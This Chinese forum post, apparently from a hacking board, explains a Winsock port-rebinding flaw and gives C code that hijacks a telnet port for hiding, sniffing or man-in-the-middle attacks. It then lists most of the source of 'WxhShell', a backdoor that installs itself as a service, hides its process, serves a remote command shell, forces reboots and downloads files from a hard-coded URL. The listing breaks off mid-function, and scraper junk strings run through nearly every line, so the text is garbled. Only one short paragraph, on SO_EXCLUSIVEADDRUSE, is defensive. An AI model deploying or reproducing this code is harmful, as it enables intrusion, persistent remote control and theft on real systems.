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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xn|(9#1o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N)>ID(}F1  
<b<j=_3  
  saddr.sin_family = AF_INET; GowH]MO  
jlg(drTo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >&#)Tqt!?  
H 7 ^/q7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gltBC${7wZ  
uSBa DYg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T9q-,w/j;  
aFIw=c(nP  
  这意味着什么?意味着可以进行如下的攻击: W`*r>`krVJ  
/5AJ.r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lB[kbJ  
FU<Jp3<%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7vj2 `+r.  
dGTsc/$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :p6M=  
gKCX|cULY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FNId ;  
K'I#W lg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o,3a4nH;  
8sK9G` k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uA#;G/$  
{cw /!B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k.15CA`  
maR"t+  
  #include cPc</[x[W  
  #include ]]j;/TiG  
  #include {2 "zVt#h  
  #include    dcWD(-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jm r"D>  
  int main() ##4HYQ%E  
  { t<?,F  
  WORD wVersionRequested; )sQ*Rd@t[8  
  DWORD ret; -RK- Fu<e  
  WSADATA wsaData; t@+}8^ M  
  BOOL val; m<2M4u   
  SOCKADDR_IN saddr; BJo*'US-Q  
  SOCKADDR_IN scaddr; mU9kVx1+  
  int err; ^L&iR0  
  SOCKET s; , SnSW-P  
  SOCKET sc; K,:N   
  int caddsize; 63x?MY6  
  HANDLE mt; t5IEQ2  
  DWORD tid;   iMRwp+$  
  wVersionRequested = MAKEWORD( 2, 2 ); '(jG[ry&T  
  err = WSAStartup( wVersionRequested, &wsaData ); [;myHI`tw  
  if ( err != 0 ) { QnX(V[  
  printf("error!WSAStartup failed!\n"); %C_HXr@  
  return -1; 0S$N05  
  } VTHH&$ZNq  
  saddr.sin_family = AF_INET; s=/v';5J2!  
   n>U5R_T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Tkgs]q79  
IRqy%@)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0Pi:N{x8  
  saddr.sin_port = htons(23); &~U ]~;@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N_q|\S>t/  
  { %3''}Y5  
  printf("error!socket failed!\n"); P J[`|  
  return -1; 'a.qu9PJ  
  } K@w{"7}  
  val = TRUE; {3vNPQJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fL7xq$K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0%I=d  
  { @>H75  
  printf("error!setsockopt failed!\n"); ,U dVNA  
  return -1; 4x[S\,20  
  } 07=mj%yV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t}/( b/VD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x `)&J B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gjzuG< 7m  
7EO_5/cY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cD'V>[h  
  { fw{gx  
  ret=GetLastError(); fvxu#m=  
  printf("error!bind failed!\n"); :tv,]05t  
  return -1; C'}KTXiRW  
  } W#3Q ^Z?  
  listen(s,2); HT1!5  
  while(1) A1zjPG&]  
  { Bo%NFB;  
  caddsize = sizeof(scaddr); ]~hk6kS8Q  
  //接受连接请求 fPW@{~t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "OnGE$   
  if(sc!=INVALID_SOCKET) -_eLf#3  
  { $5Ff1{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ))'<_nD  
  if(mt==NULL) ~zNAbaC+>t  
  { XAL1|] S  
  printf("Thread Creat Failed!\n"); y7Df_|Z  
  break; N_[*H  
  } xe&i^+i  
  } 3WIk  
  CloseHandle(mt); m$T-s|SY  
  } &H:(z4/  
  closesocket(s); 3n}?bY8@5_  
  WSACleanup(); yd`mG{Z  
  return 0; 'u<juFr  
  }   y;@:ulv[  
  DWORD WINAPI ClientThread(LPVOID lpParam) "o}+Ciul  
  { ,]c 1A$Sr0  
  SOCKET ss = (SOCKET)lpParam; 3 xp)a%=7  
  SOCKET sc; pr UM-u8  
  unsigned char buf[4096];  t[ C/  
  SOCKADDR_IN saddr; x>`%DwoRI  
  long num; r<Kx0`y  
  DWORD val; 3HY9\'t6  
  DWORD ret; O55 xS+3^k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !5uGd`^I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i9][N5\$  
  saddr.sin_family = AF_INET; t"/q]G5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l$bu%SZ  
  saddr.sin_port = htons(23); #';:2Nyq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xbYi.  
  { dT1H  
  printf("error!socket failed!\n"); {8,J@9NU  
  return -1; Y#$%iF  
  } B%+T2=&$7  
  val = 100; IG9VdDj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~|xA4u5LG  
  { >%8KK|V{  
  ret = GetLastError(); )+t0:GwP`:  
  return -1; H-fX(9  
  } 3]3|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *>qp:;,DKP  
  { H@8sNV/u  
  ret = GetLastError(); gn".u!9j  
  return -1; m<"WDU?y;  
  } 8k1Dj1@0z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mk+B9?;cF-  
  { mZ"4&U  
  printf("error!socket connect failed!\n"); `t'W2X  
  closesocket(sc); { W{]L:  
  closesocket(ss);  o.\F.C$  
  return -1; N `F~n%N  
  } 7X'u6$i  
  while(1) XaPV9 4  
  { >y:,9;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l u%}h7ng  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9kS^Abtk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &t:Gx<]  
  num = recv(ss,buf,4096,0); FNY8tv*/x  
  if(num>0) b9<#K+L-  
  send(sc,buf,num,0); t$#jL5  
  else if(num==0) A*P|e-&Q8  
  break; t+T4-1 3a  
  num = recv(sc,buf,4096,0);  dZ0vA\z|  
  if(num>0) s 3f-7f<  
  send(ss,buf,num,0); O]Qd<%V'x  
  else if(num==0) 3Xy-r=N.l  
  break; DG ;_Vg  
  } /F'sb[  
  closesocket(ss); 4s{~r  
  closesocket(sc); (uZ&V7l  
  return 0 ; '|p$)yx2  
  } HqD^B[ jS  
ZO$m["|  
91-o}|3v  
========================================================== I5n^,@md  
$jqq `n_  
下边附上一个代码,,WXhSHELL UH-*(MfB  
@{tz:f  
========================================================== S<@7_I  
%Ax3;g#  
#include "stdafx.h" % *INT  
NmJWU:W_@  
#include <stdio.h> v4c[(&  
#include <string.h> P?B;_W+~A.  
#include <windows.h> LKOwxF#TKT  
#include <winsock2.h> P0j8- I  
#include <winsvc.h> p(`6hWx  
#include <urlmon.h> ~T,c"t2  
Xe:jAkDp  
#pragma comment (lib, "Ws2_32.lib") Df<xWd2  
#pragma comment (lib, "urlmon.lib") (I{rLS!o,L  
ZE=Sp=@)j  
#define MAX_USER   100 // 最大客户端连接数 K<qk.~ S  
#define BUF_SOCK   200 // sock buffer +:!7L= N#  
#define KEY_BUFF   255 // 输入 buffer 27O|).yKX  
@ H7d_S  
#define REBOOT     0   // 重启 F{~{Lthc  
#define SHUTDOWN   1   // 关机 ,UGRrS  
%r}{hq4  
#define DEF_PORT   5000 // 监听端口 %'7lbpy,f  
WRy aKM  
#define REG_LEN     16   // 注册表键长度 yiC^aY=-  
#define SVC_LEN     80   // NT服务名长度 +&( Mgbna  
qr4pR-Gdr  
// 从dll定义API yvH A7eq*"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YS@ypzc/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J1I ;Jgql(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ERE)A-8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^N;.cY  
TNY&asQo  
// wxhshell配置信息 GyIT{M}KV  
struct WSCFG { *|C^=*j9  
  int ws_port;         // 监听端口 T;y>>_,  
  char ws_passstr[REG_LEN]; // 口令 $oU*9}}Rn  
  int ws_autoins;       // 安装标记, 1=yes 0=no b TM{l.Aq3  
  char ws_regname[REG_LEN]; // 注册表键名 %GA"GYL9'  
  char ws_svcname[REG_LEN]; // 服务名 evAMJ=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -Rd/G x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BJsz2t :0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W;L7SF g)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C|). ;V&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1&)?JZhg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nvJf/90$  
]?+p5;{y4  
}; 9~mh@Kgv  
JedmaY06=  
// default Wxhshell configuration L> 9V&\  
struct WSCFG wscfg={DEF_PORT, 8WbgSY`  
    "xuhuanlingzhe", &d+Kg0:  
    1, 0y;*Cfi9  
    "Wxhshell", )Sg~[WxDv  
    "Wxhshell", hj B@o#S  
            "WxhShell Service", B~JwHwIhA  
    "Wrsky Windows CmdShell Service", ~&8^9E a  
    "Please Input Your Password: ", 4c$ zKqz  
  1, 4UlyxA~   
  "http://www.wrsky.com/wxhshell.exe", w' OXlR  
  "Wxhshell.exe" I^UC&5dC  
    }; A3no~)wZn  
l(u.I2^o  
// 消息定义模块 *`\Pr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XY)&}u.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K/b_22]CC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;"fDUY|  
char *msg_ws_ext="\n\rExit."; t.&Od;\[/  
char *msg_ws_end="\n\rQuit."; !QHFg-=7  
char *msg_ws_boot="\n\rReboot..."; 9XyYHi  
char *msg_ws_poff="\n\rShutdown..."; P'*)\faw  
char *msg_ws_down="\n\rSave to "; V=qwwYz~  
pP?MWe Eg  
char *msg_ws_err="\n\rErr!"; cc&axc7I  
char *msg_ws_ok="\n\rOK!"; ZP *q4:  
sCis4gX.]  
char ExeFile[MAX_PATH]; R)z4n  
int nUser = 0; {QZUDPPR  
HANDLE handles[MAX_USER]; *4xat:@{{  
int OsIsNt; [16cFqD  
T:Hr&ws4  
SERVICE_STATUS       serviceStatus; <2|O:G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q6AC(n@:FV  
8XzR wYV  
// 函数声明 wztA3ZL*W1  
int Install(void); H!nr^l'+  
int Uninstall(void); -/cZeQDPb  
int DownloadFile(char *sURL, SOCKET wsh); ang~<  
int Boot(int flag); Xr2ou5zAn  
void HideProc(void); /X(t1+  
int GetOsVer(void); 8X`tU<Ab  
int Wxhshell(SOCKET wsl); pr#z=vqH  
void TalkWithClient(void *cs); e7(ucE  
int CmdShell(SOCKET sock); TUDr\' @/f  
int StartFromService(void); /VzI'^  
int StartWxhshell(LPSTR lpCmdLine); J(%0z:exs  
y[\VUzD*'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m&\h4$[kql  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2f:Eof(B  
}i`PGx  
// 数据结构和表定义 `V"sOTb  
SERVICE_TABLE_ENTRY DispatchTable[] = SWQ5fcPu  
{ 2?,EzBeal  
{wscfg.ws_svcname, NTServiceMain}, "D'B3; uWK  
{NULL, NULL} ,(?po (']  
}; #hf ak  
x~{;TZa[I  
// 自我安装 5ish\"  
int Install(void) O .Iu6D  
{ PSVc+s[Q+V  
  char svExeFile[MAX_PATH]; Eu-RNrYh#  
  HKEY key; s#DaKPC  
  strcpy(svExeFile,ExeFile); \X&H;xnC5  
6290ZNvr  
// 如果是win9x系统,修改注册表设为自启动 T2Y,U {  
if(!OsIsNt) { gO,25::")  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . I'o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c`WHNky%j  
  RegCloseKey(key); R~jHr )0.#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WxJf{=-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  2KN6}  
  RegCloseKey(key); ;M#_6Hd?qD  
  return 0; ?a8(a zn  
    } ]Xf% ,iu  
  } @` Eg(  
} XC "'Q+  
else { & jczO-R^  
+|@rD/I6  
// 如果是NT以上系统,安装为系统服务 _5m#2u51i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w'fT=v)  
if (schSCManager!=0) $:j G-r  
{ EV^~eTz  
  SC_HANDLE schService = CreateService }kK[S|XVO  
  ( =;|QZ"%E  
  schSCManager, GbA.UM ~  
  wscfg.ws_svcname, Ru>uL@w  
  wscfg.ws_svcdisp, bi&*9K0  
  SERVICE_ALL_ACCESS, HXYRH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UybW26C;aU  
  SERVICE_AUTO_START, _uKZMl  
  SERVICE_ERROR_NORMAL, b0A1hb[|  
  svExeFile, qY$qaM^=  
  NULL, Fxqp-}:  
  NULL, "+ >SJ~  
  NULL, ~$f;U  
  NULL, f{i8w!O"~  
  NULL N, *m ,  
  ); D?,#aB"  
  if (schService!=0) bY2 C]r(n  
  { xD /9F18  
  CloseServiceHandle(schService); RZ7( J  
  CloseServiceHandle(schSCManager); mVsIAC$}8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N!x =eC  
  strcat(svExeFile,wscfg.ws_svcname); 6uKMCQ=h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e9Pk"HHl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~-t>z  
  RegCloseKey(key); UMp/ \&0  
  return 0; f\1A! Yp  
    } e)IpPTj#  
  } 3ZZV<SS  
  CloseServiceHandle(schSCManager); iQ6epg1wB  
}  6XJ[h  
} }^*F59>H  
aJe^Tp(  
return 1; |?,[@z _,  
} 9cx =@  
>'5_Y]h4m|  
// 自我卸载 |*X*n*oI  
int Uninstall(void) K+)%KP  
{ eo!zW  
  HKEY key; J~iBB~x.  
p!V>XY'N^  
if(!OsIsNt) { Z,;cCxE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ror|R@;y  
  RegDeleteValue(key,wscfg.ws_regname); P;8>5;U4-  
  RegCloseKey(key); Enq|Y$qm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /?6|&  
  RegDeleteValue(key,wscfg.ws_regname); J5[~LZKW  
  RegCloseKey(key); {[t`j+J  
  return 0; :!f(F9  
  } qXW})(  
} 8dOo Q  
} =GBI0&U  
else { ow;R$5G  
*P!e:Tm)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j! NO|&k  
if (schSCManager!=0) -/dEsgO  
{ 1?Aga,~k:a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ph|ZG6:  
  if (schService!=0) \cJ-Dd  
  { ]PP:oriWl  
  if(DeleteService(schService)!=0) { W Qzj[  
  CloseServiceHandle(schService); lhYn5d)DV  
  CloseServiceHandle(schSCManager); " ;w}3+R  
  return 0; #W2[  
  } |nk3^;Yf  
  CloseServiceHandle(schService); l\!-2 T6Y  
  } 5ZPzPUa8~  
  CloseServiceHandle(schSCManager); Q2%QLM:.,  
} O:/y Ac`  
} 0l#)fJo  
qxJQPz  
return 1; 9H]Lpi^OH  
} =}fd6ea(o  
@C-dG7U.P  
// 从指定url下载文件 R,!Q Zxmg  
int DownloadFile(char *sURL, SOCKET wsh) Ld,5iBiO:  
{ B 2 .q3T  
  HRESULT hr; 5;TuVU.8Q  
char seps[]= "/"; x2#qg>`l  
char *token; s& {Qdf  
char *file; Lj %{y.Rj  
char myURL[MAX_PATH]; jSQ9.%4  
char myFILE[MAX_PATH]; 5NXt$k5  
qG9+/u)\  
strcpy(myURL,sURL); X0+fsf<H}  
  token=strtok(myURL,seps); 7W9d6i)  
  while(token!=NULL) 0i8h I6d  
  { oXt,e   
    file=token; >Dg#9  
  token=strtok(NULL,seps); =`C4qC _  
  } DV]7.Bm  
A?"h@-~2  
GetCurrentDirectory(MAX_PATH,myFILE); UU}7U]9u  
strcat(myFILE, "\\"); .`Zf}[5[  
strcat(myFILE, file); <;t)6:N\  
  send(wsh,myFILE,strlen(myFILE),0); I#FF*@oeM  
send(wsh,"...",3,0); ftavbNR`W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n1:v HBM@\  
  if(hr==S_OK) -,":5V26  
return 0; ]y)Q!J )Q  
else baoD(0d  
return 1; ]`w}+B'/  
dd7 =)XT+  
} 2#/p|$;Ec'  
2$zU&p7sV  
// 系统电源模块 YY4-bNj[p  
int Boot(int flag) b}zBn8l  
{ VLg EX4  
  HANDLE hToken; *Wb=WM-.  
  TOKEN_PRIVILEGES tkp; )yb+M ez  
SHqyvF  
  if(OsIsNt) { =j /hl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I7\ &Z q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &,-p',\-  
    tkp.PrivilegeCount = 1; #G,XDW2"w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EkKnUD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _#qe#  
if(flag==REBOOT) { I(n* _bFq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) re,.@${H  
  return 0; )3z]f2  
} dyFKxn`,  
else { qG >DTKIU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ; a/cty0Ch  
  return 0; jlKGXD)Q[  
} U06o ;s(  
  } ._p""'Sa  
  else { R+$8w2#  
if(flag==REBOOT) {  ?9u4a_x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {%']w  
  return 0; d\XRUO[  
} 0v"&G<J  
else { Wc#:f 8dr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ha ZFxh-(  
  return 0; nY) .|\|i  
} de-0?6  
} 8tWE=8<  
~%q7Vmk9  
return 1; /?zW<QUI  
} j+748QAhh  
O5 7jz= r  
// win9x进程隐藏模块 K ar~I  
void HideProc(void) j=.g :&r)  
{ iWXMKu  
v`G U09   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #cEq_[yI  
  if ( hKernel != NULL ) "L~@.W!@  
  { ^[M~K5Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hrM"Zg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5(}H ?  
    FreeLibrary(hKernel); ^)cM&Bx t%  
  } hBCR]=']  
GMFc K=  
return; CT5Y/E? }  
} ~440# kj<  
u"F;OT\>g  
// 获取操作系统版本 iAQvsE  
int GetOsVer(void) REx[`x,GUh  
{ mM xHR$2  
  OSVERSIONINFO winfo; (4)3W^/kk?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $ WFhBak8  
  GetVersionEx(&winfo); eECj_eH-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !5;t#4=  
  return 1; I>m;G `  
  else PbUI!Xqe`  
  return 0; qU6BA \ZL  
} 712=rUI%!  
c57bf  
// 客户端句柄模块 S_!R^^ySG9  
int Wxhshell(SOCKET wsl) >7FSH"8[,  
{ -g2{68 1`r  
  SOCKET wsh; [n<.fw8$b  
  struct sockaddr_in client; )b9I@)C  
  DWORD myID; t61'LCEis  
@c"yAy^t  
  while(nUser<MAX_USER) h2}am:%mC  
{ *7vue"I*Z  
  int nSize=sizeof(client); ^X;JT=r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U3q5^{0d/  
  if(wsh==INVALID_SOCKET) return 1; byj[u!{  
3GWrn ,f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u@"o[e':  
if(handles[nUser]==0) ty;o&w$  
  closesocket(wsh); )n7)}xy#z  
else 'o8\`\'H!  
  nUser++; n^Au*'  
  } 7dhn'TW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k <}I<Or  
`]yKM0 Z  
  return 0; )9pBu B  
} s@M  
kOM-  
// 关闭 socket ?hSha)1:  
void CloseIt(SOCKET wsh) @5*xw1B  
{ w2<*$~C]  
closesocket(wsh); 4O Zy&,  
nUser--; &x/k^p=  
ExitThread(0); Cs;<'[_?YO  
} NQ3|\<Wt  
i~AJ.@ #  
// 客户端请求句柄 AuM:2N2  
void TalkWithClient(void *cs) I_L;T  
{ 'qlxAYw<f  
j) <[j&OWw  
  SOCKET wsh=(SOCKET)cs; 1(F'~i|5  
  char pwd[SVC_LEN]; iDvpXn  
  char cmd[KEY_BUFF]; h&'J+b  
char chr[1]; A@ { !:_55  
int i,j; ][ N) 2_^M  
/op/g]O}  
  while (nUser < MAX_USER) { 9e76 pP(  
$@4e(Zrmo  
if(wscfg.ws_passstr) { .i\wE@v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Ba3` B5l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ].c@Gm_(  
  //ZeroMemory(pwd,KEY_BUFF); 9/Q S0  
      i=0; GfQ^@Tl  
  while(i<SVC_LEN) { :EaiM J_=  
{C,  #rj  
  // 设置超时 ^8U6"O6|X  
  fd_set FdRead; ma`w\8 a  
  struct timeval TimeOut; ;C6O3@Q  
  FD_ZERO(&FdRead); 92NC]_jw  
  FD_SET(wsh,&FdRead); -q|*M:R  
  TimeOut.tv_sec=8; | )S{(#k  
  TimeOut.tv_usec=0; i&B?4J)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T7X!#j" \  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EXH!glR[$  
2tlO"c:_/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'NRN_c9  
  pwd=chr[0]; Hm<M@M$aG  
  if(chr[0]==0xd || chr[0]==0xa) { -<12~HKK::  
  pwd=0; CYMM*4#  
  break; ,$SkaTBe  
  } <y'qo8oqF  
  i++; mKMGdN~  
    } |4LQ\'N&  
012:BZR  
  // 如果是非法用户,关闭 socket paUyS1i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c[6zX#{`  
} lP-kZA!  
orK+B4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SSo~.)J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xBt4~q;#sE  
q 8tP29  
while(1) { {!>E9Px  
=54Vs8.  
  ZeroMemory(cmd,KEY_BUFF); R\i]O  
ENpaaW@!Y  
      // 自动支持客户端 telnet标准   4E,hcu  
  j=0; RbyF#[}  
  while(j<KEY_BUFF) { |^\ Hv5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ``/y=k/au  
  cmd[j]=chr[0]; ?cA8P.?^A  
  if(chr[0]==0xa || chr[0]==0xd) { aslNlH6  
  cmd[j]=0; /7S-|%1  
  break; oa?!50d  
  } x*k65WO\  
  j++; Pi^ECSzQu[  
    } 8dYk3 sk  
FL5ibg  
  // 下载文件 |A2W8b {]  
  if(strstr(cmd,"http://")) { &P{o{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I}I}K~se*  
  if(DownloadFile(cmd,wsh)) @)S sKk|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zT2F&y q  
  else D6"~fjHh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [+Yl;3 &]  
  } (bM)Nd  
  else { IH*U!_ `  
`,hW;p>-  
    switch(cmd[0]) { 5>0\e_V  
  0]/,m4a#n  
  // 帮助 5? S{W  
  case '?': { &T5f H!?4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); []sB^UT  
    break; s,{RP0|  
  } Mt]=v}z  
  // 安装 _m) gO/02A  
  case 'i': { h0&>GY;i  
    if(Install()) :9v*,*@x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )ylv(qgV  
    else r|u6OF>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A} x_zt  
    break; |8&\N  
    } qBf wN1  
  // 卸载 )F=JkG  
  case 'r': { 1 P(&GYc  
    if(Uninstall()) Ew)n~!s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H'j_<R N  
    else 401/33yBJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 60.[t9pk6  
    break; d;*OO xQV  
    } .rD#1)O  
  // 显示 wxhshell 所在路径 |*/uN~[  
  case 'p': { w%%6[<3%  
    char svExeFile[MAX_PATH]; wC4AVJJ^>  
    strcpy(svExeFile,"\n\r"); `!5tH?bX  
      strcat(svExeFile,ExeFile); $cp16  
        send(wsh,svExeFile,strlen(svExeFile),0); UeutFNp  
    break; @1`W<WP  
    } *FI5z[8,  
  // 重启 /ynKKJx<Y  
  case 'b': { >llwNT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EU&6 Tg  
    if(Boot(REBOOT)) QSl:=Q'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _>Pe]3  
    else { o|Yn(xu-  
    closesocket(wsh); fF9;lWt  
    ExitThread(0); &-=G9sb,  
    } 2Mv)0%,c  
    break; cP$wI;P  
    } *_<SWTE  
  // 关机 TV$\v@\ =  
  case 'd': { }+QhW]nO{F  
